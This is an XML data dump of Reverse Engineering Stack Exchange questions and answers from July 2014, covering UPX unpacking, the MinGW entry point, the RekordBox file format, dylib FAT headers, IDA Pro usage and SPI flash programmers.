  <row Id="5887" PostTypeId="1" CreationDate="2014-07-17T21:32:07.357" Score="2" ViewCount="234" Body="&lt;p&gt;I was just wondering if there are estimations possible for an algorithm using a fixed number of random binary or arithmetic operation on an input of how many (input, output) pairs are necessary to be probably able to reverse engineer this algorithm.&#xA;And in addition if having any (input, output) combination, the computation time to reverse engineer with fixed computation power (on a regular von neumann architecture).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing I found so far is something about logical depth and how to compare the complexity of algorithms.&lt;/p&gt;&#xA;" OwnerUserId="8089" LastActivityDate="2014-07-17T23:17:02.057" Title="Time reverse engineering a &quot;random&quot; algorithm" Tags="|cryptanalysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5888" PostTypeId="2" ParentId="5887" CreationDate="2014-07-17T23:17:02.057" Score="1" Body="&lt;p&gt;In fact, there has been some works on trying to relate the actual complexity of a program before and after obfuscation and its difficulty to reverse. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The seminal paper about that is a technical report from Collberg et al. from 1997 [&lt;a href=&quot;https://researchspace.auckland.ac.nz/bitstream/handle/2292/3491/TR148.pdf&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;]. It defines a &lt;em&gt;measure of potency&lt;/em&gt; to classify the different types of obfuscation and order them in terms of added complexity compared to the original program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, this way of classifying obfuscation transforms is quite naive. Mainly because the complexity of a program gives an idea of how much operations you need to process it, but has no clue on how much it is difficult to simplify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, adding a lot of unnecessary variables and extra loops to the program will increase a lot its complexity. Yet, an optimizer with a simple static-analysis of the program may recover the original program. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the contrary, replacing a sequence of complex instructions by a simple look-up table that will mimic perfectly this sequence of instructions will lower the complexity of the program, but figuring out what is the original sequence of instructions just by looking at the table might be quite hard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, except for some very specific cases, the complexity of a program is not a trustworthy way to measure its difficulty to reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, we do not have any complete and objective way of measuring how good is an obfuscation... nor does cryptographers have a way to say that a cryptosystem is safe (but, they have tools that can give them much more confidence than we have in our schemes right now, so we should maybe take a closer look at what they do as our fields are getting more and more intimate in these days... just my personal feeling about that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;em&gt;&lt;a href=&quot;https://researchspace.auckland.ac.nz/bitstream/handle/2292/3491/TR148.pdf&quot; rel=&quot;nofollow&quot;&gt;A Taxonomy of Obfuscating Transformations&lt;/a&gt;&lt;/em&gt; by Christian Collberg, Clark Thomborson and Douglas Low. Technical Report #148, University of Auckland, 1997.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-07-17T23:17:02.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostTypeId="1" AcceptedAnswerId="5893" CreationDate="2014-07-18T07:34:41.780" Score="4" ViewCount="1166" Body="&lt;p&gt;Since I love to play with the WinAPI or debugging in general, I decided to write a small unpacker for the open source PE executable packer &lt;a href=&quot;http://upx.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;UPX&lt;/a&gt; today (Windows version).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to accomplish this, I proceeded as follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;CreateProcess&lt;/code&gt; API all with &lt;code&gt;DEBUG&lt;/code&gt; and &lt;code&gt;DEBUG_ONLY_THIS_PROCESS&lt;/code&gt; flags.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;GetThreadContext&lt;/code&gt; API call in order to read value of &lt;code&gt;EIP&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ReadProcessMemory&lt;/code&gt; API call loop searching for the last &lt;code&gt;JMP&lt;/code&gt; instruction.&lt;/li&gt;&#xA;&lt;li&gt;Overwriting the &lt;code&gt;E9&lt;/code&gt; with &lt;code&gt;CC&lt;/code&gt; in order to set an &lt;code&gt;INT3&lt;/code&gt; breakpoint on the address.&lt;/li&gt;&#xA;&lt;li&gt;Entering &lt;code&gt;DebugEvent&lt;/code&gt; loop waiting for the breakpoint. Once reached, reset byte back to &lt;code&gt;E9&lt;/code&gt;, decrease &lt;code&gt;EIP&lt;/code&gt; by one and jump to the address (&lt;code&gt;OEP&lt;/code&gt;) of the target.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After reaching the &lt;code&gt;OEP&lt;/code&gt;, I proceed as follows in order to dump the process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Read ImageBase, Base of code, ImageSize, ... from original PE headers&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Save buffer content to payload.bin, update the PE header of the file with new EntryPoint (&lt;code&gt;OEP&lt;/code&gt;) and set &lt;code&gt;RawDataOffset&lt;/code&gt; and &lt;code&gt;RawDataSize&lt;/code&gt; of each section to its corresponding &lt;code&gt;VirtualAddress&lt;/code&gt;/&lt;code&gt;VirtualSize&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After creating the dump with fixed &lt;code&gt;OEP&lt;/code&gt; &amp;amp; RAW offsets/sizes for the sections, I fix the dump with ImpREC (right now manually, but I plan to use &lt;code&gt;ImpREC.dll&lt;/code&gt; or the ImpREC lite source in order to assemble everything in one tool at a later point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing that confuses me though, is the fact, that the resulting binaries worked perfectly fine (exact match with the MUP) for one test case (a small hello world fasm application) and my dump file was exactly the same I had received through OllyDump, but when I tried to do the same unpacking with an UPX packed version of &lt;code&gt;putty.exe&lt;/code&gt;, my dumped memory varied from the one OllyDump had dumped starting at RAW offset &lt;code&gt;0x73970&lt;/code&gt; (exact match before that address). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - the file size is again the same one (and all bytes before that offset match), just after that certain address the bytes magically won't match anymore (they are still non-zero though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I studied the source code in &lt;code&gt;OllyDump.c&lt;/code&gt; thoroughly regarding this difference, but as for now I didn't find my mistake... In some cases my dumps are equal to the ones generated by OllyDump and in some they aren't. Or is the mistake probably in my approach already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Source code omitted on purpose, since it's a few hundred lines long and super messy as for now. Can/will add further details if required or if I missed something, please just let me know in the comments.&lt;/p&gt;&#xA;" OwnerUserId="2529" LastEditorUserId="1413" LastEditDate="2014-07-18T20:28:20.127" LastActivityDate="2014-07-18T20:28:20.127" Title="An issue when unpacking UPX" Tags="|unpacking|dumping|upx|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5890" PostTypeId="1" AcceptedAnswerId="5891" CreationDate="2014-07-18T08:32:42.497" Score="5" ViewCount="1116" Body="&lt;p&gt;I compiled the following C++ code with &lt;a href=&quot;http://en.wikipedia.org/wiki/MinGW&quot; rel=&quot;nofollow&quot;&gt;MinGW&lt;/a&gt; and opened it in OllyDbg 2.01. And the program stops at the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;00401570  /$  83EC 1C       SUB ESP,1C&#xA;00401573  |.  C70424 010000 MOV DWORD PTR SS:[LOCAL.6],1&#xA;0040157A  |.  FF15 68814000 CALL DWORD PTR DS:[&amp;lt;&amp;amp;msvcrt.__set_app_ty&#xA;00401580  \.  E8 FBFBFFFF   CALL 00401180&#xA;&#xA;&#xA;Names in Project1, item 20&#xA;  Address = 00401570&#xA;  Section = .text&#xA;  Type = Export&#xA;  Ordinal =&#xA;  Name = &amp;lt;ModuleEntryPoint&amp;gt;&#xA;  Comments =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this is not what I want. I prefer when OllyDbg stop at the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address   Hex dump          Command                                  Comments&#xA;004016B0  /$  55            PUSH EBP                                 ; Project1.004016B0(guessed void)&#xA;004016B1  |.  89E5          MOV EBP,ESP&#xA;004016B3  |.  83E4 F0       AND ESP,FFFFFFF0                         ; DQWORD (16.-byte) stack alignment&#xA;004016B6  |.  83EC 10       SUB ESP,10&#xA;004016B9  |.  E8 A2050000   CALL 00401C60&#xA;004016BE  |.  C70424 645040 MOV DWORD PTR SS:[LOCAL.4],OFFSET 004050 ; /format =&amp;gt; &quot;Hello World!&quot;&#xA;004016C5  |.  E8 9E1F0000   CALL &amp;lt;JMP.&amp;amp;msvcrt.printf&amp;gt;                ; \MSVCRT.printf&#xA;004016CA  |.  B8 00000000   MOV EAX,0&#xA;004016CF  |.  C9            LEAVE&#xA;004016D0  \.  C3            RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is that a bug? Why did MinGW set &lt;code&gt;SUB ESP, 1C&lt;/code&gt; as the entrypoint? Can I set Ollydbg to start at the correct entrypoint?&lt;/p&gt;&#xA;" OwnerUserId="8091" LastEditorUserId="1654" LastEditDate="2014-07-20T19:11:40.063" LastActivityDate="2014-07-20T19:11:40.063" Title="Why did the program entry point become 'sub esp, 1C'?" Tags="|ollydbg|debugging|c++|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5891" PostTypeId="2" ParentId="5890" CreationDate="2014-07-18T08:50:29.567" Score="6" Body="&lt;p&gt;No, this is not a bug. Likely this is because you confuse the executable's entry point address (where Olly breaks) with the address of your &lt;code&gt;main()&lt;/code&gt; function (where you expect it to break). You should locate your &lt;code&gt;main()&lt;/code&gt; and set a breakpoint there manually instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot going on behind the scene before execution flow reaches &lt;code&gt;main()&lt;/code&gt;. The code that gets control first is hidden within the C Run-Time (CRT) library provided by your compiler and is linked in automatically when you link your executable. This code (aptly named CRT startup) is responsible for setting up various things when a C program starts up, mainly, initializes all the internals of the C runtime (there is a lot of other stuff which I won't mention here), performs C++ static objects' constructor calls, and at the end calls your &lt;code&gt;main()&lt;/code&gt;. So to get things going, the linker sets up the entry point to inside this startup machinery, which is exactly what we observe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: It is possible to strip all the CRT stuff from your executable at the expense of not having the C runtime library linked. Not sure whether this is what you would like to have.&lt;/p&gt;&#xA;" OwnerUserId="6910" LastActivityDate="2014-07-18T08:50:29.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostTypeId="2" ParentId="4311" CreationDate="2014-07-18T12:05:52.430" Score="7" Body="&lt;p&gt;The precise BPMs are actually in the data files (filename).DAT (may the overall BPM is in the edb.. but I can't confirm)&#xA;So I have reversed both data files created by RekordBox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;file.DAT&#xA;--------&#xA;/numbers are all big endian/&#xA;[tag]   - 4 byte string&#xA;4byte   - tag header size &#xA;4byte   - segment size (including tag header)&#xA;(in multibit fields, msb-to-lsb (left-to-right) is the general direction)&#xA;//////////////////////////////&#xA;&#xA;PMAI    - main file descriptor&#xA;4byte   - head size (28)&#xA;4byte   - total file size&#xA;4byte   - ??? (1)&#xA;4byte   - ??? (65536)&#xA;4byte   - ??? (65536)&#xA;4byte   - ??? (0)&#xA;&#xA;PPTH    - file path&#xA;4byte   - head size (16)&#xA;4byte   - tag size&#xA;4byte   - data length&#xA;data_bytes - file path in UTF16 (big endian) \0 terminated&#xA;&#xA;PVBR    - VBR seek table&#xA;4byte   - head size (16)&#xA;4byte   - tag size (1620) (4*400+4)&#xA;4byte   - 0&#xA;  &gt;entries&gt;&#xA;    4byte   - file pos&#xA;  &gt;last_entry&gt;&#xA;    4byte   - ???&#xA;&#xA;PQTZ    - Quantized time zones&#xA;4byte   - head size (24)&#xA;4byte   - tag size&#xA;4byte   - 0&#xA;4byte   - ??? (524288=0x80000)&#xA;4byte   - number of entries&#xA;  &gt;entries&gt;&#xA;    2byte   - beat phase (1-2-3-4)&#xA;    2byte   - bpm*100&#xA;    4byte   - time index (msec)&#xA;&#xA;PWAV    - Low resolution Wave display data (5+3bit)&#xA;4byte   - head size (20)&#xA;4byte   - tag size (420)&#xA;4byte   - data size (400)&#xA;4byte   - ??? (65536)&#xA;  &gt;entries&gt;&#xA;     3bit   - color index&#xA;     5bit   - height&#xA;&#xA;PWV2    - Lowest resolution Wave display data (4bit)&#xA;4byte   - head size (20)&#xA;4byte   - tag size (120)&#xA;4byte   - data size (100)&#xA;4byte   - ??? (65536)&#xA;  &gt;entries&gt;&#xA;      4bit  - 0&#xA;      4bit  - height&#xA;&#xA;PCOB    - CUE Object    ///first PCOB for hot cues, second PCOB for memory&#xA;                        ///only generated for USB storage, &#xA;                        ///otherwise contains only dummy data and actual cue data stored in the edb &#xA;4byte   - head size (24)&#xA;4byte   - tag size&#xA;4byte   - hotCUE? (1=hot cue, 0=memory)&#xA;4byte   - number of cue points&#xA;4byte   - memories (-1= hot cue)&#xA;  &gt;entry tags&gt;&#xA;    PCPT    - CUE Point&#xA;    4byte   - head size (28)&#xA;    4byte   - tag size (56)&#xA;    4byte   - hot cue no#, 0 otherwise&#xA;    4byte   - active (0=inactive / 4=active)&#xA;    4byte   - (65536)&#xA;    4byte   - ???? -----point type: 0xffff ffff = hot cue ////  memory first: 0xffff xxxxx ----- memory last: 0x xxxx ffff&#xA;      &gt;datas&gt;&#xA;        1byte   - cue type 1 = single / 2 = loop&#xA;        1byte   - 0&#xA;        2byte   - ??? (1000)&#xA;        4byte   - start time (msec)&#xA;        4byte   - loop end (-1 if not used)&#xA;        16byte  - 0&#xA;&#xA;&#xA;&#xA;file.EXT&#xA;--------&#xA;PMAI    - main file descriptor&#xA;4byte   - head size (28)&#xA;4byte   - total file size&#xA;4byte   - ??? (1)&#xA;4byte   - ??? (65536)&#xA;4byte   - ??? (65536)&#xA;4byte   - ??? (0)&#xA;&#xA;PPTH    - file path&#xA;4byte   - head size (16)&#xA;4byte   - tag size&#xA;4byte   - data length&#xA;data_bytes - file path in UTF16 (big endian) \0 terminated&#xA;&#xA;PWV3    - High resolution Wave display data&#xA;4byte   - head size (24)&#xA;4byte   - tag size&#xA;4byte   - ??? (1)&#xA;4byte   - data size&#xA;4byte   - ??? (0x0096 0000)&#xA;  &gt;entries&gt;&#xA;      3bit  - color &#xA;      5bit  - height&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I was reversing, there were no PKEY in the files, so I don't know what it is for (and only seems to have 0 in it on the PC)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the BPM values are stored in the PQTZ tag (in dynamic mode, you can have different BPMs during the same song, so it makes sense)&lt;/p&gt;&#xA;" OwnerUserId="8092" LastActivityDate="2014-07-18T12:05:52.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostTypeId="2" ParentId="5889" CreationDate="2014-07-18T14:03:42.123" Score="1" Body="&lt;p&gt;Hard to tell what the reason for the differences might be without actually seeing the differences, but one guess is that you're doing &lt;code&gt;ReadProcessMemory(hProcess, header32.ImageBase, buffer, header32.SizeOfImage, bytes_read)&lt;/code&gt;, while the other tool may be doing &lt;code&gt;foreach(section) {ReadProcessMemory(hProcess, header32.ImageBase + section.RVA, buffer, section.VirtualSize, bytes_read)}&lt;/code&gt;; this may cause the &quot;caves&quot; between sections to differ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(BTW, I assume your &lt;code&gt;header32.ImageBase&lt;/code&gt; is the actual base address of the module in memory, not just the image base address from the PE headers, since ASLR could relocate it at runtime.)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-07-18T14:03:42.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5894" PostTypeId="1" CreationDate="2014-07-18T14:07:51.020" Score="2" ViewCount="573" Body="&lt;p&gt;This may be an old topic, but I still haven't find a solution. Sometimes happens to reverse Windows executables that contain strings clearly related to encryption algorithms implemented through OpenSSL. For the ones who are familiar, sometimes is even possible to identify which version of OpenSSL implements these algorithms (example string: RAND part of OpenSSL 0.9.7 31 Dec 2002). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA Pro seems unable to identify such functions as library function and this complicates the analysis because you can't distinguish between interesting code and OpenSSL library code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone aware about FLIRT signatures or IDA scripts that can ease this job?&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-07-18T14:07:51.020" Title="IDA Signatures for OpenSSL" Tags="|ida|ida-plugin|cryptography|flirt-signatures|" AnswerCount="0" CommentCount="1" ClosedDate="2014-07-19T11:11:50.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="5895" PostTypeId="2" ParentId="5880" CreationDate="2014-07-18T17:49:27.367" Score="1" Body="&lt;p&gt;In C pseudocode let's say you have a function called &lt;code&gt;doJob&lt;/code&gt;. You want to create a thread to executes it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DWORD WINAPI doJob(LPVOID lpParameter){&#xA;    // Do some work. You can only pass one parameter.&#xA;    // If you need more parameters, define a structure&#xA;    // and send it though it's pointer.&#xA;    return statuscode;&#xA;}&#xA;&#xA;Handle hThread = &#xA;   CreateThread(&amp;amp;attributes,dwStackSize,&amp;amp;doJob,&amp;amp;paramstruct,flags,&amp;amp;newThreadIdBuffer);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or in asm (nasm syntax, if I still remember it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, newThreadIdBuffer&#xA;push eax&#xA;push 0 ; or 4 or 0x00010000 or 0x00010004&#xA;lea eax, paramstruct&#xA;push eax&#xA;lea eax, doJob&#xA;push eax&#xA;push dwStackSize ; 0 will use default&#xA;lea eax, attributes&#xA;push eax&#xA;call CreateThread&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be done cleaner, but I believe it demonstrates the concept.&lt;/p&gt;&#xA;" OwnerUserId="8096" LastEditorUserId="53" LastEditDate="2014-07-18T19:58:00.173" LastActivityDate="2014-07-18T19:58:00.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostTypeId="1" AcceptedAnswerId="15779" CreationDate="2014-07-19T08:10:42.750" Score="6" ViewCount="1049" Body="&lt;p&gt;&lt;a href=&quot;http://www.immunityinc.com/products-immdbg.shtml&quot; rel=&quot;noreferrer&quot;&gt;Immunity Debugger&lt;/a&gt; offers a feature called &lt;strong&gt;PyPlugin&lt;/strong&gt;. However there is not enough documentation on it. The help for immdbg says this :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PyPlugins are python scripts located at PyPlugins\ directory,&#xA;  PyPlugins are called when F4 or the PyPlugin icon located at the main&#xA;  toolbar are pressed. Both (F4 or the PyPlugin icon) will popup a file&#xA;  browse dialog, where the starting folder is the PyPlugin Directory.&#xA;  When a pyplugin is executed, its main() gets called. Please note a&#xA;  pyplugin can not receive any arguments and will not return any value&#xA;  other than inscreen errors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In reality when the &lt;kbd&gt;F4&lt;/kbd&gt; key is pressed, nothing special happens. &lt;kbd&gt;F4&lt;/kbd&gt; is actually the shortcut to &lt;em&gt;Run to selection&lt;/em&gt;. Further there is no &lt;em&gt;PyPlugin&lt;/em&gt; icon located at the main toolbar. The &lt;em&gt;PyPlugins&lt;/em&gt; directory under Immunity Debugger directory is also empty, so no examples to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is what is a &lt;em&gt;PyPlugin&lt;/em&gt; ? Are there any ready made &lt;em&gt;PyPlugins&lt;/em&gt; to refer as an example ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;strong&gt;Note&lt;/strong&gt; : I am only talking about &lt;strong&gt;PyPlugins&lt;/strong&gt;, not &lt;strong&gt;PyCommands&lt;/strong&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-07-19T12:16:54.407" LastActivityDate="2017-07-07T03:41:23.150" Title="Immunity Debugger PyPlugin" Tags="|python|immunity-debugger|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostTypeId="1" CreationDate="2014-07-19T11:31:41.293" Score="3" ViewCount="444" Body="&lt;p&gt;I was curious and wanted to learn a bit about TP-Link's switch firmware (for example: What OS are they using?). Because I have seen the sg3216 in the real world, I thought, I'd start with that one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three versions available on their webseite: 2012, 2013, and 2014 variants. The first thing one notices: The 2012 and 2013 versions are about 4 MB, while the 2014 is 2 MB. So we have to assume, that the 2014 one is compressed (or compressed with something better).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;binwalk does not show anything useful, really. All the firmware blobs are incompressible, so they're likely obfuscated/encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Comparing the (hopefully alike) 2012 and 2013 ones with xdelta3 shows, that only a very few 4byte thingies are identical in the two blobs (they're at different positions though). And they don't seem to be of any use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any information available on the obfuscation employed?&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2014-07-19T11:31:41.293" Title="How is the tp-link switch firmware obfuscated?" Tags="|binary-analysis|firmware|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostTypeId="1" AcceptedAnswerId="5902" CreationDate="2014-07-19T21:18:41.363" Score="2" ViewCount="1982" Body="&lt;p&gt;My end goal here is to find the Mach-O header in a dylib file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I've come up with so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my dylib files have the following first four bytes: 0xcafebabe. Then after 4096 bytes the actual Mach-O header starts, followed by the usual commands and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But 0xcafebabe is also used to identify Java class files. So how do I distinguish between both of those based on the actual content? What are the fields after 0xcafebabe in a dylib file?&lt;/p&gt;&#xA;" OwnerUserId="2783" LastEditorUserId="2783" LastEditDate="2014-07-19T21:43:43.467" LastActivityDate="2014-07-20T12:04:15.543" Title="How are dylib files laid out" Tags="|disassembly|binary|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5899" PostTypeId="1" AcceptedAnswerId="5900" CreationDate="2014-07-19T21:23:59.383" Score="3" ViewCount="1280" Body="&lt;p&gt;I'm using &lt;code&gt;IDA Pro&lt;/code&gt; with the Hexrays decompiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a function like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4QJT6.png&quot; alt=&quot;Function 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That function assigns the result of &lt;code&gt;sub_100033AE&lt;/code&gt; to &lt;code&gt;dword_10005368&lt;/code&gt;. So to know what the &lt;code&gt;DWORD&lt;/code&gt; is, I checked what does that &lt;code&gt;sub_100033AE&lt;/code&gt; do, but surprise...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JfU1J.png&quot; alt=&quot;Function 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its assembly is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qn1RQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am wondering is: how is it just returning a call to &lt;code&gt;new()&lt;/code&gt;? What is its purpose? What does it return?&lt;/p&gt;&#xA;" OwnerUserId="4750" LastEditorUserId="4437" LastEditDate="2014-07-21T21:39:25.463" LastActivityDate="2014-07-21T21:47:57.000" Title="Forwarded call to &quot;operator new()&quot; in IDA Pro" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5900" PostTypeId="2" ParentId="5899" CreationDate="2014-07-20T06:48:47.447" Score="6" Body="&lt;p&gt;Maybe the decompiler failed to recognize a register argument to &lt;code&gt;new()&lt;/code&gt;. &lt;code&gt;new(n)&lt;/code&gt; usually takes a &lt;code&gt;nr&lt;/code&gt; of bytes, and allocates memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sub_100033ae&lt;/code&gt; just forwards the call to new.&lt;/p&gt;&#xA;" OwnerUserId="1842" LastEditorUserId="53" LastEditDate="2014-07-21T21:47:57.000" LastActivityDate="2014-07-21T21:47:57.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5901" PostTypeId="1" AcceptedAnswerId="5903" CreationDate="2014-07-20T11:55:50.833" Score="2" ViewCount="1882" Body="&lt;p&gt;Can someone recommend a handy inexpensive USB programmer for &lt;a href=&quot;http://www.spansion.com/Support/Datasheets/S25FL064A_00.pdf&quot; rel=&quot;nofollow&quot;&gt;SPANSION S25FL064P&lt;/a&gt; flash memory?&lt;/p&gt;&#xA;" OwnerUserId="39817" LastActivityDate="2016-05-08T09:31:58.103" Title="USB programmer for SPANSION S25FL064P flash memory" Tags="|hardware|linux|firmware|memory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostTypeId="2" ParentId="5898" CreationDate="2014-07-20T12:04:15.543" Score="3" Body="&lt;p&gt;Since a dylib file is just going to be a Mach-O file, you're going to need to understand the header format, which is laid out pretty well in the code itself. You can take a look at the Mach-O parsing functions on Apple's site&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.opensource.apple.com/source/xar/xar-45/xar/lib/macho.c&quot; rel=&quot;nofollow&quot;&gt;http://www.opensource.apple.com/source/xar/xar-45/xar/lib/macho.c&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you're seeing is that FAT Header part of the Mach-O file, which is telling you where to find the rest of the of the Mach-O file. This is used to have one file, with two separate architectures inside of it. The FAT header describes where the to find the rest of the data needed by the system running it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While doing some reversing and forensics work, I created a 010Editor template for parsing through Mach-O files - it might be useful in conjunction with the source from Apple for understanding what is coming after the 0xCAFEBABE and loading you're actual dylib files;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/strazzere/010Editor-stuff/blob/master/Templates/MachOTemplate.bt&quot; rel=&quot;nofollow&quot;&gt;https://github.com/strazzere/010Editor-stuff/blob/master/Templates/MachOTemplate.bt&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8103" LastActivityDate="2014-07-20T12:04:15.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostTypeId="2" ParentId="5901" CreationDate="2014-07-20T14:40:35.577" Score="1" Body="&lt;p&gt;It's a SPI flash memory so most decent SPI flash programmers should do. They can be found below 30 USD. If you have a decent micro controller development board already you can probably program and read this chip easily. For instance the Arduino platform has SPI libraries. The pin pitch is 1.3 mm so you should be able to attach to the chip without even desoldering it using decent grabber probes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you beep tested the board to see if any test points or headers connect to the flash memory pins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to hack something together yourself, &lt;a href=&quot;http://www.ebay.com/itm/Universal-USB-Programmer-EEPROM-Flash-SPI-BIOS-24-25-BR90-93-5000-CHIPS/111164374359&quot; rel=&quot;nofollow&quot;&gt;here's what seems to be a competent and cheap SPI programmer on ebay&lt;/a&gt;. Which is supposed to support you chip. Although it is more fun to solve it yourself, you'll see how easy it is and next time you run into an unsupported SPI flash memory you'll solve it without issues.&lt;/p&gt;&#xA;" OwnerUserId="70" LastEditorUserId="70" LastEditDate="2014-07-20T15:38:09.997" LastActivityDate="2014-07-20T15:38:09.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
